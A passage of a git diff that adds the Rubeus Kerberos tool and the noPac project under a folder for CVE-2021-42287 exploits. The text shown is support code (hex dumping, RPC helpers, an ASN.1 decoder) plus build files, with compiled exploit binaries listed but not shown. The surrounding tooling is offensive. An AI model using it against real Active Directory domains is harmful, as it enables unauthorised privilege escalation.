"); + for (j = 0; j < line_length; ++j) + { + byte b = line[j]; + char c = b >= 32 && b < 127 ? (char)b : '.'; + _builder.Append(c); + } + } + _builder.AppendLine(); + } + + /// + /// Append an array of bytes to the hex dump. + /// + /// The byte array. + public void Append(byte[] ba) + { + if (!_can_write) + throw new InvalidOperationException(); + long curr_pos = _data.Position; + _data.Position = _data.Length; + _data.Write(ba, 0, ba.Length); + _data.Position = curr_pos; + if (GetDataLeft() >= CHUNK_LIMIT) + { + AppendChunks(); + } + } + + /// + /// Complete the hex dump string. + /// + public void Complete() + { + AppendChunks(); + AppendTrailing(); + } + + /// + /// Finish builder and convert to a string. + /// + /// The hex dump. + public override string ToString() + { + return _builder.ToString(); + } + + /// + /// Constructor. + /// + /// Print a header. + /// Print the address. + /// Print the ASCII text. + /// Hide repeating lines. + /// Offset for address printing. + public HexDumpBuilder(bool print_header, bool print_address, bool print_ascii, bool hide_repeating, long address_offset) + : this(new MemoryStream(), print_header, print_address, print_ascii, hide_repeating, address_offset) + { + } + + /// + /// Constructor. + /// + /// The safe buffer to print. + /// The length to display. + /// The offset into the buffer to display. + /// Print a header. + /// Print the address. + /// Print the ASCII text. + /// Hide repeating lines. + public HexDumpBuilder(SafeBuffer buffer, long offset, long length, bool print_header, bool print_address, bool print_ascii, bool hide_repeating) + : this(new UnmanagedMemoryStream(buffer, offset, length == 0 ? (long)buffer.ByteLength : length), + print_header, print_address, print_ascii, hide_repeating, buffer.DangerousGetHandle().ToInt64()) + { + _address_offset = buffer.DangerousGetHandle().ToInt64(); + } + + /// + /// Constructor. + /// + /// The safe buffer to print. + /// Print a header. + /// Print the address. + /// Print the ASCII text. + /// Hide repeating lines. + public HexDumpBuilder(SafeBuffer buffer, bool print_header, bool print_address, bool print_ascii, bool hide_repeating) + : this(buffer, 0, (long)buffer.ByteLength, print_header, print_address, print_ascii, hide_repeating) + { + } + + /// + /// Constructor. + /// + /// The stream to print. + /// Print a header. + /// Print the address. + /// Print the ASCII text. + /// Hide repeating lines. + /// Offset for address printing. + public HexDumpBuilder(Stream stm, bool print_header, bool print_address, bool print_ascii, bool hide_repeating, long address_offset) + { + _address_offset = address_offset; + _data = stm; + _can_write = _data.CanSeek && _data.CanWrite; + _print_address = print_address; + _print_ascii = print_ascii; + _hide_repeating = hide_repeating; + if (print_header) + { + if (print_address) + { + if (address_offset > uint.MaxValue) + { + _builder.Append(' ', 18); + } + else + { + _builder.Append(' ', 10); + } + } + + _builder.Append("00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F "); + if (print_ascii) + { + _builder.AppendLine(" - 0123456789ABCDEF"); + } + else + { + _builder.AppendLine(); + } + int dash_count = 48; + if (print_address) + { + if (address_offset > uint.MaxValue) + { + dash_count += 18; + } + else + { + dash_count += 10; + } + } + if (print_ascii) + { + dash_count += 19; + } + _builder.Append('-', dash_count); + _builder.AppendLine(); + } + } + + /// + /// Constructor. + /// + public HexDumpBuilder() + : this(false, false, false, false, 0) + { + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Win32/Rpc/RpcUtils.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Win32/Rpc/RpcUtils.cs new file mode 100644 index 0000000..6a62e52 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/ndr/Win32/Rpc/RpcUtils.cs @@ -0,0 +1,482 @@ +// Copyright 2019 Google Inc. All Rights Reserved. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +using Rubeus.Ndr.Marshal; +using System; +using System.Diagnostics; +using System.IO; + +namespace Rubeus.Win32.Rpc +{ + /// + /// Some addition internal utilities for RPC code. + /// + public static class RpcUtils + { + internal static TraceSwitch RpcTraceSwitch = new TraceSwitch("RpcTrace", "RPC Tracing"); + + internal static byte[] ReadAllBytes(this BinaryReader reader, int length) { + byte[] ret = reader.ReadBytes(length); + if (ret.Length != length) { + throw new EndOfStreamException(); + } + return ret; + } + + /// + /// Specify RPC trace level. + /// + /// Specify the RPC trace level. + public static void SetRpcTraceLevel(TraceLevel level) + { + RpcTraceSwitch.Level = level; + } + + /// + /// Helper to dereference a type. + /// + /// The type to dereference. + /// The value to dereference. + /// The dereferenced result. + public static T DeRef(T t) + { + return t; + } + + /// + /// Helper to dereference a type. + /// + /// The type to dereference. + /// The value to dereference. + /// The dereferenced result. + public static T DeRef(T? t) where T : struct + { + return t.Value; + } + + /// + /// Helper to check for NULL. + /// + /// The type to check. + /// The object to check. + /// The name of the value to check. + /// The checked value. + public static T CheckNull(T obj, string name) where T : class + { + if (obj == null) + { + throw new ArgumentNullException(name); + } + return obj; + } + + /// + /// Helper to check for NULL. + /// + /// The type to check. + /// The object to check. + /// The name of the value to check. + /// The checked value. + public static T[] CheckNull(T[] obj, string name) + { + if (obj == null) + { + throw new ArgumentNullException(name); + } + return obj; + } + + /// + /// Helper to check for NULL. + /// + /// The type to check. + /// The object to check. + /// The name of the value to check. + /// The checked value. + public static T CheckNull(T? obj, string name) where T : struct + { + if (!obj.HasValue) + { + throw new ArgumentNullException(name); + } + return obj.Value; + } + + /// + /// Helper to dereference a type. + /// + /// The type to dereference. + /// The value to dereference. + /// The dereferenced result. + public static T DeRef(NdrEmbeddedPointer t) + { + return t.GetValue(); + } + + /// + /// Helper to perform a plus unary operation. + /// + /// The value to apply the operator to. + /// The result. + public static long OpPlus(long v) + { + return +v; + } + + /// + /// Helper to perform a minus unary operation. + /// + /// The value to apply the operator to. + /// The result. + public static long OpMinus(long v) + { + return -v; + } + + /// + /// Helper to perform a complement unary operation. + /// + /// The value to apply the operator to. + /// The result. + public static long OpComplement(long v) + { + return ~v; + } + + /// + /// Perform a ternary operation. + /// + /// The condition to evaluate as != 0. + /// The result if true. + /// The result if false. + /// The result. + public static int OpTernary(bool condition, long true_value, long false_value) + { + return (int)(condition ? true_value : false_value); + } + + /// + /// Perform ADD. + /// + /// The left operand. + /// The right operand. + /// The result. + public static int OpPlus(long left, long right) + { + return (int)(left + right); + } + + /// + /// Perform SUB. + /// + /// The left operand. + /// The right operand. + /// The result. + public static int OpMinus(long left, long right) + { + return (int)(left - right); + } + + /// + /// Perform MUL. + /// + /// The left operand. + /// The right operand. + /// The result. + public static int OpStar(long left, long right) + { + return (int)(left * right); + } + + /// + /// Perform DIV. + /// + /// The left operand. + /// The right operand. + /// The result. + public static int OpSlash(long left, long right) + { + return (int)(left / right); + } + + /// + /// Perform MOD. + /// + /// The left operand. + /// The right operand. + /// The result. + public static int OpMod(long left, long right) + { + return (int)(left % right); + } + + /// + /// Perform Bitwise AND. + /// + /// The left operand. + /// The right operand. + /// The result. + public static int OpBitwiseAnd(long left, long right) + { + return (int)(left & right); + } + + /// + /// Perform Bitwise OR. + /// + /// The left operand. + /// The right operand. + /// The result. + public static int OpBitwiseOr(long left, long right) + { + return (int)(left | right); + } + + /// + /// Perform bitwise XOR. Needed as Code DOM doesn't support XOR. + /// + /// The left operand. + /// The right operand. + /// The result. + public static int OpXor(long left, long right) + { + return (int)(left ^ right); + } + + /// + /// Perform bitwise LEFTSHIFT. + /// + /// The left operand. + /// The right operand. + /// The result. + public static int OpLeftShift(long left, long right) + { + return (int)(left << (int)right); + } + + /// + /// Perform bitwise RIGHTSHIFT. + /// + /// The left operand. + /// The right operand. + /// The result. + public static int OpRightShift(long left, long right) + { + return (int)(left >> (int)right); + } + + /// + /// Perform logical AND. + /// + /// The left operand. + /// The right operand. + /// The result. + public static int OpLogicalAnd(long left, long right) + { + return ToInt(ToBool(left) && ToBool(right)); + } + + /// + /// Perform logical OR. + /// + /// The left operand. + /// The right operand. + /// The result. + public static int OpLogicalOr(long left, long right) + { + return ToInt(ToBool(left) || ToBool(right)); + } + + /// + /// Perform EQUAL. + /// + /// The left operand. + /// The right operand. + /// The result. + public static int OpEqual(long left, long right) + { + return ToInt(left == right); + } + + /// + /// Perform NOTEQUAL. + /// + /// The left operand. + /// The right operand. + /// The result. + public static int OpNotEqual(long left, long right) + { + return ToInt(left != right); + } + + /// + /// Perform GREATER. + /// + /// The left operand. + /// The right operand. + /// The result. + public static int OpGreater(long left, long right) + { + return ToInt(left > right); + } + + /// + /// Perform GREATEREQUAL. + /// + /// The left operand. + /// The right operand. + /// The result. + public static int OpGreaterEqual(long left, long right) + { + return ToInt(left >= right); + } + + /// + /// Perform LESS. + /// + /// The left operand. + /// The right operand. + /// The result. + public static int OpLess(long left, long right) + { + return ToInt(left < right); + } + + /// + /// Perform LESSEQUAL. + /// + /// The left operand. + /// The right operand. + /// Returns left LESSEQUAL right. + public static int OpLessEqual(long left, long right) + { + return ToInt(left <= right); + } + + private static int ToInt(bool b) + { + return b ? 1 : 0; + } + + /// + /// Convert value to a boolean. + /// + /// The value + /// True if value != 0. + public static bool ToBool(bool value) + { + return value; + } + + /// + /// Convert value to a boolean. + /// + /// The value + /// True if value != 0. + public static bool ToBool(sbyte value) + { + return value != 0; + } + + /// + /// Convert value to a boolean. + /// + /// The value + /// True if value != 0. + public static bool ToBool(byte value) + { + return value != 0; + } + + /// + /// Convert value to a boolean. + /// + /// The value + /// True if value != 0. + public static bool ToBool(short value) + { + return value != 0; + } + + /// + /// Convert value to a boolean. + /// + /// The value + /// True if value != 0. + public static bool ToBool(ushort value) + { + return value != 0; + } + + /// + /// Convert value to a boolean. + /// + /// The value + /// True if value != 0. + public static bool ToBool(int value) + { + return value != 0; + } + + /// + /// Convert value to a boolean. + /// + /// The value + /// True if value != 0. + public static bool ToBool(uint value) + { + return value != 0; + } + + /// + /// Convert value to a boolean. + /// + /// The value + /// True if value != 0. + public static bool ToBool(long value) + { + return value != 0; + } + + /// + /// Convert value to a boolean. + /// + /// The value + /// True if value != 0. + public static bool ToBool(ulong value) + { + return value != 0; + } + + /// + /// Convert value to a boolean. + /// + /// The nullable value + /// True if value has a value set. + public static bool ToBool(T? value) where T : struct + { + return value.HasValue; + } + + /// + /// Convert value to a boolean. + /// + /// The nullable value + /// True if value has a value set. + public static bool ToBool(T value) where T : class + { + return value != null; + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/obj/Debug/.NETFramework,Version=v4.0.AssemblyAttributes.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/obj/Debug/.NETFramework,Version=v4.0.AssemblyAttributes.cs new file mode 100644 index 0000000..5d01041 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/obj/Debug/.NETFramework,Version=v4.0.AssemblyAttributes.cs @@ -0,0 +1,4 @@ +// +using System; +using System.Reflection; +[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.0", FrameworkDisplayName = ".NET Framework 4")] diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache new file mode 100644 index 0000000..9ddc6b5 Binary files /dev/null and b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache differ diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/obj/Debug/Rubeus.csproj.AssemblyReference.cache b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/obj/Debug/Rubeus.csproj.AssemblyReference.cache new file mode 100644 index 0000000..3975284 Binary files /dev/null and b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/obj/Debug/Rubeus.csproj.AssemblyReference.cache differ diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/obj/Release/.NETFramework,Version=v4.0.AssemblyAttributes.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/obj/Release/.NETFramework,Version=v4.0.AssemblyAttributes.cs new file mode 100644 index 0000000..5d01041 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/obj/Release/.NETFramework,Version=v4.0.AssemblyAttributes.cs @@ -0,0 +1,4 @@ +// +using System; +using System.Reflection; +[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.0", FrameworkDisplayName = ".NET Framework 4")] diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/obj/Release/Rubeus.csproj.CoreCompileInputs.cache b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/obj/Release/Rubeus.csproj.CoreCompileInputs.cache new file mode 100644 index 0000000..b776e11 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/obj/Release/Rubeus.csproj.CoreCompileInputs.cache @@ -0,0 +1 @@ +7a52aebaecc1f4fa530a0183e52c07642609fd7e diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/obj/Release/Rubeus.csproj.FileListAbsolute.txt b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/obj/Release/Rubeus.csproj.FileListAbsolute.txt new file mode 100644 index 0000000..7d2c6ff --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/obj/Release/Rubeus.csproj.FileListAbsolute.txt @@ -0,0 +1,4 @@ +C:\Users\ascotbe\Desktop\Rubeus-master\Rubeus\bin\Release\Rubeus.exe.config +C:\Users\ascotbe\Desktop\Rubeus-master\Rubeus\bin\Release\Rubeus.exe +C:\Users\ascotbe\Desktop\Rubeus-master\Rubeus\obj\Release\Rubeus.csproj.CoreCompileInputs.cache +C:\Users\ascotbe\Desktop\Rubeus-master\Rubeus\obj\Release\Rubeus.exe diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/obj/Release/Rubeus.exe b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/obj/Release/Rubeus.exe new file mode 100644 index 0000000..fc846c8 Binary files /dev/null and b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/obj/Release/Rubeus.exe differ diff --git a/00-CVE_EXP/CVE-2021-42287/noPac.exe b/00-CVE_EXP/CVE-2021-42287/noPac.exe new file mode 100644 index 0000000..a8e939d Binary files /dev/null and b/00-CVE_EXP/CVE-2021-42287/noPac.exe differ diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/.vs/noPac/project-colors.json b/00-CVE_EXP/CVE-2021-42287/noPac/.vs/noPac/project-colors.json new file mode 100644 index 0000000..c4ac04e --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/.vs/noPac/project-colors.json @@ -0,0 +1,11 @@ +{ + "Version": 1, + "ProjectMap": { + "d03e6124-fd00-414d-90b3-852213257dc2": { + "ProjectGuid": "d03e6124-fd00-414d-90b3-852213257dc2", + "DisplayName": "noPac", + "ColorIndex": 0 + } + }, + "NextColorIndex": 1 +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/.vs/noPac/v16/.suo b/00-CVE_EXP/CVE-2021-42287/noPac/.vs/noPac/v16/.suo new file mode 100644 index 0000000..bac650c Binary files /dev/null and b/00-CVE_EXP/CVE-2021-42287/noPac/.vs/noPac/v16/.suo differ diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/.vs/noPac/v17/.suo b/00-CVE_EXP/CVE-2021-42287/noPac/.vs/noPac/v17/.suo new file mode 100644 index 0000000..e3aa405 Binary files /dev/null and b/00-CVE_EXP/CVE-2021-42287/noPac/.vs/noPac/v17/.suo differ diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac.sln b/00-CVE_EXP/CVE-2021-42287/noPac/noPac.sln new file mode 100644 index 0000000..bdfa4e4 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac.sln @@ -0,0 +1,25 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.0.31919.166 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "noPac", "noPac\noPac.csproj", "{D03E6124-FD00-414D-90B3-852213257DC2}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {D03E6124-FD00-414D-90B3-852213257DC2}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {D03E6124-FD00-414D-90B3-852213257DC2}.Debug|Any CPU.Build.0 = Debug|Any CPU + {D03E6124-FD00-414D-90B3-852213257DC2}.Release|Any CPU.ActiveCfg = Release|Any CPU + {D03E6124-FD00-414D-90B3-852213257DC2}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {07F410E8-EFBC-4B76-AB2C-452397CD377B} + EndGlobalSection +EndGlobal diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/App.config b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/App.config new file mode 100644 index 0000000..bae5d6d --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/App.config @@ -0,0 +1,6 @@ + + + + + + diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/Asn1/Asn1Extensions.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/Asn1/Asn1Extensions.cs new file mode 100644 index 0000000..b032dc7 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/Asn1/Asn1Extensions.cs @@ -0,0 +1,47 @@ +using System; + +namespace Rubeus.Asn1 { + public static class Asn1Extensions { + + public static byte[] DepadLeft(this byte[] data) { + + int leadingZeros = 0; + for (var i = 0; i < data.Length; i++) { + if (data[i] == 0) { + leadingZeros++; + } else { + break; + } + } + + byte[] result = new byte[data.Length - leadingZeros]; + Array.Copy(data, leadingZeros, result, 0, data.Length - leadingZeros); + return result; + } + + public static byte[] PadLeft(this byte[] data, int totalSize) { + + if(data.Length == totalSize) { + return data; + } + + if(totalSize < data.Length) { + throw new ArgumentException("data bigger than totalSize, cannot pad with 0's"); + } + + byte[] result = new byte[totalSize]; + data.CopyTo(result, totalSize - data.Length); + return result; + } + + public static byte[] PadRight(this byte[] data, int length) { + if (data.Length == length) { + return data; + } + + var copy = new byte[length]; + data.CopyTo(copy, length - data.Length); + return copy; + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/Asn1/AsnElt.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/Asn1/AsnElt.cs new file mode 100644 index 0000000..8966476 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/Asn1/AsnElt.cs @@ -0,0 +1,2292 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Text; + +namespace Asn1 { + +/* + * An AsnElt instance represents a decoded ASN.1 DER object. It is + * immutable. + */ + +public class AsnElt { + + /* + * Universal tag values. + */ + public const int BOOLEAN = 1; + public const int INTEGER = 2; + public const int BIT_STRING = 3; + public const int OCTET_STRING = 4; + public const int NULL = 5; + public const int OBJECT_IDENTIFIER = 6; + public const int Object_Descriptor = 7; + public const int EXTERNAL = 8; + public const int REAL = 9; + public const int ENUMERATED = 10; + public const int EMBEDDED_PDV = 11; + public const int UTF8String = 12; + public const int RELATIVE_OID = 13; + public const int SEQUENCE = 16; + public const int SET = 17; + public const int NumericString = 18; + public const int PrintableString = 19; + public const int T61String = 20; + public const int TeletexString = 20; + public const int VideotexString = 21; + public const int IA5String = 22; + public const int UTCTime = 23; + public const int GeneralizedTime = 24; + public const int GraphicString = 25; + public const int VisibleString = 26; + public const int GeneralString = 27; + public const int UniversalString = 28; + public const int CHARACTER_STRING = 29; + public const int BMPString = 30; + + /* + * Tag classes. + */ + public const int UNIVERSAL = 0; + public const int APPLICATION = 1; + public const int CONTEXT = 2; + public const int PRIVATE = 3; + + /* + * Internal rules + * ============== + * + * Instances are immutable. They reference an internal buffer + * that they never modify. The buffer is never shown to the + * outside; when decoding and creating, copies are performed + * where necessary. + * + * If the instance was created by decoding, then: + * objBuf points to the array containing the complete object + * objOff start offset for the object header + * objLen complete object length + * valOff offset for the first value byte + * valLen value length (excluding the null-tag, if applicable) + * hasEncodedHeader is true + * + * If the instance was created from an explicit value or from + * sub-elements, then: + * objBuf contains the value, or is null + * objOff is 0 + * objLen is -1, or contains the computed object length + * valOff is 0 + * valLen is -1, or contains the computed value length + * hasEncodedHeader is false + * + * If objBuf is null, then the object is necessarily constructed + * (Sub is not null). If objBuf is not null, then the encoded + * value is known (the object may be constructed or primitive), + * and valOff/valLen identify the actual value within objBuf. + * + * Tag class and value, and sub-elements, are referenced from + * specific properties. + */ + + byte[] objBuf; + int objOff; + int objLen; + int valOff; + int valLen; + bool hasEncodedHeader; + + AsnElt() + { + } + + /* + * The tag class for this element. + */ + int tagClass_; + public int TagClass { + get { + return tagClass_; + } + private set { + tagClass_ = value; + } + } + + /* + * The tag value for this element. + */ + int tagValue_; + public int TagValue { + get { + return tagValue_; + } + private set { + tagValue_ = value; + } + } + + /* + * The sub-elements. This is null if this element is primitive. + * DO NOT MODIFY this array. + */ + AsnElt[] sub_; + public AsnElt[] Sub { + get { + return sub_; + } + private set { + sub_ = value; + } + } + + /* + * The "constructed" flag: true for an elements with sub-elements, + * false for a primitive element. + */ + public bool Constructed { + get { + return Sub != null; + } + } + + /* + * The value length. When the object is BER-encoded with an + * indefinite length, the value length includes all the sub-objects + * but NOT the formal null-tag marker. + */ + public int ValueLength { + get { + if (valLen < 0) { + if (Constructed) { + int vlen = 0; + foreach (AsnElt a in Sub) { + vlen += a.EncodedLength; + } + valLen = vlen; + } else { + valLen = objBuf.Length; + } + } + return valLen; + } + } + + /* + * The encoded object length (complete with header). + */ + public int EncodedLength { + get { + if (objLen < 0) { + int vlen = ValueLength; + objLen = TagLength(TagValue) + + LengthLength(vlen) + vlen; + } + return objLen; + } + } + + /* + * Check that this element is constructed. An exception is thrown + * if this is not the case. + */ + public void CheckConstructed() + { + if (!Constructed) { + throw new AsnException("not constructed"); + } + } + + /* + * Check that this element is primitive. An exception is thrown + * if this is not the case. + */ + public void CheckPrimitive() + { + if (Constructed) { + throw new AsnException("not primitive"); + } + } + + /* + * Get a sub-element. This method throws appropriate exceptions + * if this element is not constructed, or the requested index + * is out of range. + */ + public AsnElt GetSub(int n) + { + CheckConstructed(); + if (n < 0 || n >= Sub.Length) { + throw new AsnException("no such sub-object: n=" + n); + } + return Sub[n]; + } + + /* + * Check that the tag is UNIVERSAL with the provided value. + */ + public void CheckTag(int tv) + { + CheckTag(UNIVERSAL, tv); + } + + /* + * Check that the tag has the specified class and value. + */ + public void CheckTag(int tc, int tv) + { + if (TagClass != tc || TagValue != tv) { + throw new AsnException("unexpected tag: " + TagString); + } + } + + /* + * Check that this element is constructed and contains exactly + * 'n' sub-elements. + */ + public void CheckNumSub(int n) + { + CheckConstructed(); + if (Sub.Length != n) { + throw new AsnException("wrong number of sub-elements: " + + Sub.Length + " (expected: " + n + ")"); + } + } + + /* + * Check that this element is constructed and contains at least + * 'n' sub-elements. + */ + public void CheckNumSubMin(int n) + { + CheckConstructed(); + if (Sub.Length < n) { + throw new AsnException("not enough sub-elements: " + + Sub.Length + " (minimum: " + n + ")"); + } + } + + /* + * Check that this element is constructed and contains no more + * than 'n' sub-elements. + */ + public void CheckNumSubMax(int n) + { + CheckConstructed(); + if (Sub.Length > n) { + throw new AsnException("too many sub-elements: " + + Sub.Length + " (maximum: " + n + ")"); + } + } + + /* + * Get a string representation of the tag class and value. + */ + public string TagString { + get { + return TagToString(TagClass, TagValue); + } + } + + static string TagToString(int tc, int tv) + { + switch (tc) { + case UNIVERSAL: + break; + case APPLICATION: + return "APPLICATION:" + tv; + case CONTEXT: + return "CONTEXT:" + tv; + case PRIVATE: + return "PRIVATE:" + tv; + default: + return String.Format("INVALID:{0}/{1}", tc, tv); + } + + switch (tv) { + case BOOLEAN: return "BOOLEAN"; + case INTEGER: return "INTEGER"; + case BIT_STRING: return "BIT_STRING"; + case OCTET_STRING: return "OCTET_STRING"; + case NULL: return "NULL"; + case OBJECT_IDENTIFIER: return "OBJECT_IDENTIFIER"; + case Object_Descriptor: return "Object_Descriptor"; + case EXTERNAL: return "EXTERNAL"; + case REAL: return "REAL"; + case ENUMERATED: return "ENUMERATED"; + case EMBEDDED_PDV: return "EMBEDDED_PDV"; + case UTF8String: return "UTF8String"; + case RELATIVE_OID: return "RELATIVE_OID"; + case SEQUENCE: return "SEQUENCE"; + case SET: return "SET"; + case NumericString: return "NumericString"; + case PrintableString: return "PrintableString"; + case TeletexString: return "TeletexString"; + case VideotexString: return "VideotexString"; + case IA5String: return "IA5String"; + case UTCTime: return "UTCTime"; + case GeneralizedTime: return "GeneralizedTime"; + case GraphicString: return "GraphicString"; + case VisibleString: return "VisibleString"; + case GeneralString: return "GeneralString"; + case UniversalString: return "UniversalString"; + case CHARACTER_STRING: return "CHARACTER_STRING"; + case BMPString: return "BMPString"; + default: + return String.Format("UNIVERSAL:" + tv); + } + } + + /* + * Get the encoded length for a tag. + */ + static int TagLength(int tv) + { + if (tv <= 0x1F) { + return 1; + } + int z = 1; + while (tv > 0) { + z ++; + tv >>= 7; + } + return z; + } + + /* + * Get the encoded length for a length. + */ + static int LengthLength(int len) + { + if (len < 0x80) { + return 1; + } + int z = 1; + while (len > 0) { + z ++; + len >>= 8; + } + return z; + } + + /* + * Decode an ASN.1 object. The provided buffer is internally + * copied. Trailing garbage is not tolerated. + */ + public static AsnElt Decode(byte[] buf) + { + return Decode(buf, 0, buf.Length, true); + } + + /* + * Decode an ASN.1 object. The provided buffer is internally + * copied. Trailing garbage is not tolerated. + */ + public static AsnElt Decode(byte[] buf, int off, int len) + { + return Decode(buf, off, len, true); + } + + /* + * Decode an ASN.1 object. The provided buffer is internally + * copied. If 'exactLength' is true, then trailing garbage is + * not tolerated (it triggers an exception). + */ + public static AsnElt Decode(byte[] buf, bool exactLength) + { + return Decode(buf, 0, buf.Length, exactLength); + } + + /* + * Decode an ASN.1 object. The provided buffer is internally + * copied. If 'exactLength' is true, then trailing garbage is + * not tolerated (it triggers an exception). + */ + public static AsnElt Decode(byte[] buf, int off, int len, + bool exactLength) + { + int tc, tv, valOff, valLen, objLen; + bool cons; + objLen = Decode(buf, off, len, + out tc, out tv, out cons, + out valOff, out valLen); + if (exactLength && objLen != len) { + throw new AsnException("trailing garbage"); + } + byte[] nbuf = new byte[objLen]; + Array.Copy(buf, off, nbuf, 0, objLen); + return DecodeNoCopy(nbuf, 0, objLen); + } + + /* + * Internal recursive decoder. The provided array is NOT copied. + * Trailing garbage is ignored (caller should use the 'objLen' + * field to learn the total object length). + */ + static AsnElt DecodeNoCopy(byte[] buf, int off, int len) + { + int tc, tv, valOff, valLen, objLen; + bool cons; + objLen = Decode(buf, off, len, + out tc, out tv, out cons, + out valOff, out valLen); + AsnElt a = new AsnElt(); + a.TagClass = tc; + a.TagValue = tv; + a.objBuf = buf; + a.objOff = off; + a.objLen = objLen; + a.valOff = valOff; + a.valLen = valLen; + a.hasEncodedHeader = true; + if (cons) { + List subs = new List(); + off = valOff; + int lim = valOff + valLen; + while (off < lim) { + AsnElt b = DecodeNoCopy(buf, off, lim - off); + off += b.objLen; + subs.Add(b); + } + a.Sub = subs.ToArray(); + } else { + a.Sub = null; + } + return a; + } + + /* + * Decode the tag and length, and get the value offset and length. + * Returned value if the total object length. + * Note: when an object has indefinite length, the terminated + * "null tag" will NOT be considered part of the "value length". + */ + static int Decode(byte[] buf, int off, int maxLen, + out int tc, out int tv, out bool cons, + out int valOff, out int valLen) + { + int lim = off + maxLen; + int orig = off; + + /* + * Decode tag. + */ + CheckOff(off, lim); + tv = buf[off ++]; + cons = (tv & 0x20) != 0; + tc = tv >> 6; + tv &= 0x1F; + if (tv == 0x1F) { + tv = 0; + for (;;) { + CheckOff(off, lim); + int c = buf[off ++]; + if (tv > 0xFFFFFF) { + throw new AsnException( + "tag value overflow"); + } + tv = (tv << 7) | (c & 0x7F); + if ((c & 0x80) == 0) { + break; + } + } + } + + /* + * Decode length. + */ + CheckOff(off, lim); + int vlen = buf[off ++]; + if (vlen == 0x80) { + /* + * Indefinite length. This is not strict DER, but + * we allow it nonetheless; we must check that + * the value was tagged as constructed, though. + */ + vlen = -1; + if (!cons) { + throw new AsnException("indefinite length" + + " but not constructed"); + } + } else if (vlen > 0x80) { + int lenlen = vlen - 0x80; + CheckOff(off + lenlen - 1, lim); + vlen = 0; + while (lenlen -- > 0) { + if (vlen > 0x7FFFFF) { + throw new AsnException( + "length overflow"); + } + vlen = (vlen << 8) + buf[off ++]; + } + } + + /* + * Length was decoded, so the value starts here. + */ + valOff = off; + + /* + * If length is indefinite then we must explore sub-objects + * to get the value length. + */ + if (vlen < 0) { + for (;;) { + int tc2, tv2, valOff2, valLen2; + bool cons2; + int slen; + + slen = Decode(buf, off, lim - off, + out tc2, out tv2, out cons2, + out valOff2, out valLen2); + if (tc2 == 0 && tv2 == 0) { + if (cons2 || valLen2 != 0) { + throw new AsnException( + "invalid null tag"); + } + valLen = off - valOff; + off += slen; + break; + } else { + off += slen; + } + } + } else { + if (vlen > (lim - off)) { + 